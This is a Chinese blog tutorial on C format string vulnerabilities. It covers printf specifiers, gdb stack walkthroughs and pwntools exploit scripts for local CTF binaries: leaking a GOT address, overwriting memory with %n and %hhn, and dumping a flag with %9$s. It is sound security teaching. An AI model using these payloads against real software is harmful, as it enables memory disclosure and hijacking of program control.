格式化字符串漏洞

格式化字符串漏洞基础

参考:https://www.yuque.com/cyberangel/rg9gdm/vh62v6#rVrvN

什么是格式化字符串

在我们初识C语言的时候,我们经常会使用到printf这之类的函数,printf函数的第一个参数就是一个格式化字符串,就是程序员可以使用占位符,指定格式,这些占位符用来替代后面的变量或者是数据。简单总结就是说,我们可以在一个字符串中,执行某个位置应该输出怎么样的数据,使用占位符代替,在输出的时候函数会自动按照我们指定的格式,寻找参数并以我们预想的形式输出。

格式化字符串漏洞原理

printf()函数的一般形式为:printf(“format”, 输出表列),我们对format比较关心,看一下它的结构吧:%[标志][输出最小宽度][.精度][长度]类型,其中跟格式化字符串漏洞有关系的主要有以下几点:
1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
2、类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,

%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

关于printf()函数的使用,正常我们使用printf()函数应该是这样的:

1
2
3
char str[100];
scanf("%s",str);
printf("%s",str);

这是正确的使用方式,但是也有的人会这么用:

1
2
3
char str[100];
scanf("%s",str);
printf(str)

然后,悲剧就发生了,我们可以对比一下这两段代码,很明显,第二个程序中的printf()函数参数我们是可控的,我们在控制了format参数之后结合printf()函数的特性就可以进行相应的攻击。

特性一: printf()函数的参数个数不固定

我们可以利用这一特性进行越界数据的访问。我们先看一个正常的程序:

1
2
3
4
5
6
7
#include <stdio.h>
int main(void){
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}

我们编译之后运行:

1
test 1 2 3

接下来我们做一下测试,我们增加一个printf()的format参数,改为:

1
printf("%s %d %d %d %x\n",buf,a,b,c)

编译后运行:

1
test 1 2 3 c30000

这里的c3000就是栈中处于3之下的数,所以只要我们能够控制format的,我们就可以一直读取内存数据。

上一个例子只是告诉我们可以利用%x一直读取栈内的内存数据,可是这并不能满足我们的需求,我们要的是任意地址读取,当然,这也是可以的,我们通过下面的例子进行分析:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(int argc, char *argv[])
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}

我们可以用%s来获取内存上的信息

特性二:利用%n格式符写入数据

%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码:

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
}

可以发现我们用%n成功修改了num的值:

1
2
3
4
bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8

现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。

特性三:自定义打印字符串宽度

我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
}

可以看到我们的num值被改为了100

1
2
3
4
5
bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100

比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:

格式化字符串漏洞利用

程序崩溃

拿到一个程序之后可以通过输入若干个%s来进行判断是否存在格式化字符串漏洞

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s

前面讲过没有参数的时候printf函数依然还可以输出格式化字符串对应的地址中的内容,所以如果存在格式化字符串漏洞,在输入一长串%s之后,printf会将%s作为格式化字符串,将对应地址中的内容以字符串的形式输出出来。但是栈上不可能每个值都对应了合法地址,所以数字对应的内容可能不存在,这个时候就会使程序崩溃。
在Linux中,存取无效的指针会引起进程受到SIGSEGV信号,从而使程序非正常终止并产生核心转储

泄露栈内存

获取栈变量数值

以这个程序为例

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

编译后,用gdb动态调试,并在printf处下断点,之后运行,我们输入%p%p%p,回车

之后程序就停在了第一个printf处,这个printf有格式化字符串,我们来看它的栈

1
2
3
4
5
6
7
8
00:0000│ esp 0xffffd02c —▸ 0x80491ea (main+100) ◂— add esp, 0x20
01:0004│-098 0xffffd030 —▸ 0x804a00b ◂— '%08x.%08x.%08x.%s\n'
02:0008│-094 0xffffd034 ◂— 1
03:000c│-090 0xffffd038 ◂— 0x22222222 ('""""')
04:0010│-08c 0xffffd03c ◂— 0xffffffff
05:0014│-088 0xffffd040 —▸ 0xffffd050 ◂— '%p.%p.%p'
06:0018│-084 0xffffd044 —▸ 0xffffd050 ◂— '%p.%p.%p'
07:001c│-080 0xffffd048 —▸ 0xf7fbe7b0 —▸ 0x80482c2 ◂— 'GLIBC_2.34'

我们来详细解释一下:

  • 0xffffd02c:这个地址的内存中存储了printf函数的返回值0x80491ea
  • 0xffffd030:这个地址下存储了格式化字符串%08x.%08x.%08x.%s\n在栈中的位置,即0x804a00b
  • 0xffffd034:这个位置存放了a的值1
  • 0xffffd038:这个地址存放了b的值0x22222222
  • 0xffffd03c:存了c的值,-1(以补码的形式)

然后我们看第二个printf

1
2
3
4
5
6
7
8
00:0000│ esp 0xffffd03c —▸ 0x80491f9 (main+115) ◂— add esp, 0x10
01:0004│-088 0xffffd040 —▸ 0xffffd050 ◂— '%p%p%p'
02:0008│-084 0xffffd044 —▸ 0xffffd050 ◂— '%p%p%p'
03:000c│-080 0xffffd048 —▸ 0xf7fbe7b0 —▸ 0x80482c2 ◂— 'GLIBC_2.34'
04:0010│-07c 0xffffd04c —▸ 0x804919d (main+23) ◂— add ebx, 0x2e63
05:0014│ eax 0xffffd050 ◂— '%p%p%p'
06:0018│-074 0xffffd054 ◂— 0x7025 /* '%p' */
07:001c│-070 0xffffd058 —▸ 0xf7ffda40 ◂— 0

由于第二次printf没有给参数,所以触发了格式化字符串漏洞,第一个%p解析了出了0xffffd044中的内容,0xffffd050,第二个解析出了0xf7fbe7b0,第三个解析了0x804919d所以打印出了0xffffd050 0xf7fbe7b0 0x804919d。当然也可以使用其他的占位符来达到其他的效果

获取栈变量对应字符串

%p改成%s,程序会以字符串的形式输出栈中内容。

泄露任意地址内存

有时我们需要泄露某个libc函数的got表内容,从而的到其地址,进而获取libc版本以及其他函数的地址,这时候能够完全控制泄露某个指定地址的内存就很重要了。一般来说在格式化字符漏洞中,我们读取的格式化字符串都在栈上。也就是说在调用输出函数的时候,其实第一个参数的值其实就是该格式化字符串的地址。

由于我们可以控制格式化字符串,如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设改格式化字符串相对函数调用为第K个参数。那么就可以通过如下 的方式来获取某个指定地址addr的内容

1
addr%k$s

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

1
AAAA%p%p%p%p%p%p%p%p%p%p%p%p.......

还是用上面的程序,试着运行一下:

1
AAAA-0xffdb1e20-0xec2bd7b0-0x804919d-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-

我们主要注意0x4141414是相对于AAAA第几个出现的,这里是第4个,那么,我们就可以用AAAA%4$p来直接输出0x41414141。综上所述,如果我们如果将AAAA替换成某个函数的got地址,那么程序就会打印出这个函数的真实地址。我们拿scanf函数举例,获取函数got地址就交给我们的,例如如下这样

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh = process('./leakmemory')
elf = ELF('./leakmemory')
__isoc99_scanf_got = elf.got['__isoc99_scanf'] #获取scanf函数的got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s' #将AAAA%4$p中的A替换成scanf函数的got地址
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8]))
sh.interactive()

那么,我们为什么要确定格式化字符是printf的第几个参数呢?其实很简单:格式化字符串存在栈帧内,当printf函数需要依据格式化字符串来进行输出的时候,printf函数先会根据在栈顶附近存放的格式化字符串地址去找格式化字符串,比如-098 0xffffd030 —▸ 0x804a00b ◂— ‘%08x.%08x.%08x.%s\n’,其中0xffffd030是栈顶附近某个内存的地址,其中存放了储存了格式化字符串的内存的地址,就是0x804a00b。同时,存放格式化字符串的内存地址处于高地址(比较靠近栈底),所以,在printf函数依据格式化字符串在栈帧内从低到高输出栈内数据时,如果该程序存在格式化字符串漏洞,那么printf就会输出储存在栈帧内的格式化字符串。

覆盖内存

利用占位符%n,我们可以实现修改栈上的值。%n的用法如下

1
[覆盖的地址] %[偏移]n

而覆盖的内容,就是上一次输出的长度,比如程序上一次输出的内容大小是4个字节,那么%n会向这个地址中写入’4’

覆盖任意地址内存

覆盖小数字

这是一个exp,下面要用到

1
2
3
4
5
6
7
8
from pwn import *
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16) #获取c变量的地址
print hex(c_addr)
payload = p32(c_addr) + 'a'*12 + '%6$n' #构建payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

什么是小数字,怎么个小法呢?其实是小于极其字长,我们知道,%n会根据上一次输出的字节数存入对应地址当中,但是在实际的做题中,我们一般会在%kn之前通过p32小端序转化地址,一个地址,比如0xdeadbeef,本身长一字节,但是经过p32转化后便会变成4字节,所以说,利用这种方法写入内存的额数字最小就是4,如果需要比4小的数字,例如2,就需要如下的办法。

1
'aa%knaa' + p32(addr)

通过将p32放到%n后来解决,但是这样写还是不太对,真正正确的是如下的写法:

1
'aa%k' + '$naa' + p32(addr)

我们通过吧前面的字符串拆分成两个部分,每部分4字节(一共4个字符,一个字符占1字节),因为格式化字符串是第6个参数,所以aa%k是第六个,$naa是第7个, p32(a_addr)是第8个,所以这里的k需要改成8,这样,%n会将aa这两个字符的字符数写在第8个参数,即变量a的地址中。

覆盖大数字

有时候,我们需要在一个地址中来存放另一个地址,地址一般是0x12345678这种格式的,换算成十进制化,就是305419896个字节,这个数字就非常大了,大概是291.27MB,可能栈都没这个字符串大。

但是,我们可以换个思路,我么一定要一次性注入吗?要知道,地址是16进制数,大小一般为4字节,而在32和64位系统中,数据一般按照小端储存,就是高位数字放在低地址,低位数字放在高地址,比如说0x456789AB,他在内存中的样子其实是这样的:

高地址 0xAB 0x89 0x67 0x45 低地址

综上所述,我们其实可以一字节,一字节地填充。

要使用这种方法,我们需要知道格式化字符串里面的两个标识符,hhh,简单来说,如果我们使用了

h标志,那么就会向变量b中一次性写两个字节,写两次填满。使用hh标志位会向变量b中一次性写一个字节,写四次填满。这里我们用hh

所以,我们将要填充的地址,假设为addr~addr+4,数字是0x12345678。我们依然依据上面的那个exp,格式化字符串是printf的第六个参数,我们只需要把如果将addr放在格式化字符串的第6个参数位置、addr + 1放在第7个参数位置、addr + 2放在第8个参数位置、addr + 3放在第9个参数位置。再通过%6$hhn、%7$hhn、%8$hhn、%9$hhn将0x78、0x56、0x34、0x12写进去就可以了。

1
2
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
  • 前面的四个p32每个占4字节,一共16个字节,%104x占104个字节,所以104 + 16 = 120 =0x78,所以%6$hhn会将0x78写到第6个参数,即addr的位置
  • %222x占222个字节,再加上前面的字节数:120 + 222 = 342 = 0x156,因为hh是单字节,所以只取后面的0x56,所以%7$hhn会将0x56写到第7个参数,即addr+1的位置
  • 剩下的以此类推

这样,我们就完成了大数字的填充。


格式化漏洞(x64)

学习参考:https://www.yuque.com/cyberangel/rg9gdm/rvnk0g#

这个文章中有下面要用的示例,但是在实操前,需要在示例的同目录下创建一个flag.txt文件,并在文件中填充一点内容,比如flag{th1s_is_@_fl4g}

64与32的区别

64位格式化字符串和32位的很相似,做题的步骤也相同,唯一不同的是64位程序对函数参数存储的方式和32位的不同。64为程序会优先将函数的前6个参数放置在寄存器中,超过6个的再存放在栈上,而32位直接存放在栈上。

示例

先查一下保护, 开启了NX保护和Canary保护,

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

先运行一下

1
2
3
4
5
6
❯ ./goodluck
what's the flag
114514
You answered:
114514
But that was totally wrong lol get rekt

再看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
int i; // [rsp+4h] [rbp-3Ch]
int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h] BYREF
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
const char *v9; // [rsp+18h] [rbp-28h]
_BYTE v10[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format); <--
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}

我们可以看到,再puts("You answered:");语句下面的printf(format);语句没有格式化字符串,存在格式化字符串漏洞。

接下来我们用gdb动调。

  1. 首先,我们先对printf函数下断点

  2. 然后运行一下

  3. 程序终端在printf处,我们知道,64位的传参顺序先是6个寄存器,然后才是栈。

  4. 我们先看一眼寄存器(箭头是我自己加的,gdb没有)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    RAX  0
    RBX 0
    --> RCX 0x7ffff7d14887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
    --> RDX 1
    --> RDI 0x602ca0 ◂— 0x343135343131 /* '114514' */
    --> RSI 1
    --> R8 0x7ffff7e1ca70 (_IO_stdfile_1_lock) ◂— 0
    --> R9 0x602ca0 ◂— 0x343135343131 /* '114514' */
    R10 0x7ffff7c15cc0 ◂— 0xf00120000481e
    R11 0x7ffff7c606f0 (printf) ◂— endbr64
    R12 0x7fffffffdfe8 —▸ 0x7fffffffe355 ◂— '/home/xyq/test/goodluck'
    R13 0x4007a6 (main) ◂— push rbp
    R14 0
    R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
    RBP 0x7fffffffded0 ◂— 1
    RSP 0x7fffffffde88 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
    RIP 0x7ffff7c606f0 (printf) ◂— endbr64

    再看栈

    1
    2
    3
    4
    5
    6
    7
    8
    00:0000│ rsp 0x7fffffffde88 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
    01:0008│-040 0x7fffffffde90 ◂— 0x31fc1000
    02:0010│-038 0x7fffffffde98 —▸ 0x602ca0 ◂— 0x343135343131 /* '114514' */
    03:0018│-030 0x7fffffffdea0 —▸ 0x6022a0 ◂— 0x602
    04:0020│-028 0x7fffffffdea8 —▸ 0x7fffffffdeb0 ◂— 0x3168747b67616c66 ('flag{th1')
    05:0028│-020 0x7fffffffdeb0 ◂— 0x3168747b67616c66 ('flag{th1')
    06:0030│-018 0x7fffffffdeb8 ◂— 0x665f405f73695f73 ('s_is_@_f')
    07:0038│-010 0x7fffffffdec0 ◂— 0xff0a7d67346c

    RDI中泛着printf的第一个参数,也就是我们输入的114514,如果输入的是格式化字符串,那就是格式化字符串,剩下的RSI、RDX、RCX、R8、R9这5个寄存器会接着存放其他参数。上面看完了往栈上看,可以看到栈顶为printf函数的返回地址,我们想要的flag在返回地址下的第四个。所以如果我们想要打印flag,那么flag距离格式化字符串的偏移就是5 + 4 = 9

  5. 然后我们就可以构建exp了

    1
    2
    3
    4
    5
    1 from pwn import *
    2 p = process('./goodluck')
    3 payload = b"%9$s"
    4 p.sendline(payload)
    5 p.interactive():w'q
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ❯ python3 ./flag.py
    [+] Starting local process './goodluck': pid 3240
    [*] Switching to interactive mode
    [*] Process './goodluck' stopped with exit code 0 (pid 3240)
    what's the flag
    You answered:
    flag{th1s_is_@_fl4g}
    \xff
    But that was totally wrong lol get rekt
    [*] Got EOF while reading in interactive
    $

格式化字符串漏洞
http://example.com/2025/02/25/格式化字符串漏洞/
作者
玄渊
发布于
2025年2月25日
许可协议